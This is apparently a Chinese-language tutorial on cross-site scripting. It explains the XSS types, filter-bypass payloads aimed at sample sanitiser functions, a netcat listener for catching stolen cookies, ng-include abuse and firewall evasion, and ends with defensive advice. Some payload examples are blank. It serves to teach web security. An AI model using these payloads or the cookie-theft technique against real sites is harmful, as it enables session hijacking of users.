XSS的简要分析
字数 1428 2025-08-11 08:36:26
XSS注入攻击全面解析与防御指南
一、XSS攻击概述
跨站脚本攻击(XSS)是一种将恶意脚本注入到可信网站中的攻击方式,当用户访问被注入的页面时,恶意脚本会在用户浏览器中执行。
二、XSS类型详解
1. DOM型XSS
特点:
- 用户输入参数由前端JavaScript处理
- 处理结果直接反馈到页面
- 需要分析源代码中的处理逻辑
攻击方法:
- XSS盲打:插入的恶意代码只有管理员可见
- 配合nc(netcat)工具抓取cookie
- 盲插入技术(需进一步研究)
2. 反射型XSS
特点:
- 非持久化攻击
- 恶意脚本通常通过URL参数传递
- 需要诱骗用户点击特制链接
3. 存储型XSS
特点:
- 持久化攻击
- 恶意脚本存储在服务器端
- 影响所有访问受影响页面的用户
攻击向量:
- 基本注入:
<script>alert(1)</script> - 绕过闭合标签:
<textarea></textarea><script>alert(1)</script></textarea> - 利用未闭合标签:
<input type="name" value="' + input + '"><script>alert(1)</script> - 利用img标签:`` (不需要引号)
三、XSS绕过技术
1. 大小写绕过
示例:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
绕过方法:
- 使用大小写混合:
<ScRiPt>alert(1)</ScRiPt> - 使用双写绕过:
<scrscriptipt>alert(1)</scrscriptipt>
2. Unicode编码绕过
方法:
- 使用Unicode编码特殊字符
- 例如使用ſ(长s)代替s
3. 注释绕过
示例:
function render (input) {
input = input.replace(/[\/'"<]/g, '')
return `<script>// alert('${input}')</script>`
}
绕过方法:
- 换行注入:
\nalert(1) - 注释掉原有闭合:
');alert(1)//
4. HTML实体编码绕过
示例:
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
绕过方法:
- 利用未过滤的上下文:``
5. JavaScript转义绕过
示例:
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
.replace(/\0/g, '\\0')
}
绕过方法:
- 制造偶数个反斜杠:
\");alert(1)// - 利用URL上下文:
javascript:console.log("${s}")
四、高级攻击技术
1. Cookie窃取技术
方法:
- 使用nc监听:
nc -lvp 4444 - 注入代码获取cookie并发送到攻击者服务器
- 需要声明变量并使用img标签
2. AngularJS ng-include攻击
方法:
- 包含外部恶意文件:
ng-include='show_xss.php' - show_xss.php是攻击者控制的含有XSS的PHP文件
3. 防火墙绕过技术
方法:
- 多次编码payload
- 测试防火墙解码次数
- 使用混合编码方式
五、防御建议
-
输入验证和过滤
- 对所有用户输入进行严格验证
- 使用白名单而非黑名单
- 过滤特殊字符和脚本标签
-
输出编码
- 根据输出上下文(HTML, JavaScript, URL等)进行适当编码
- 使用成熟的编码库而非自行实现
-
内容安全策略(CSP)
- 实施严格的CSP策略
- 限制内联脚本执行
- 限制外部资源加载
-
HttpOnly Cookie
- 为敏感cookie设置HttpOnly标志
- 防止JavaScript访问
-
框架安全特性
- 使用现代框架的内置XSS防护
- 避免直接操作DOM
-
定期安全测试
- 进行渗透测试
- 使用自动化扫描工具
- 代码审计
通过理解这些攻击技术和防御方法,开发人员可以更好地保护Web应用免受XSS攻击的威胁。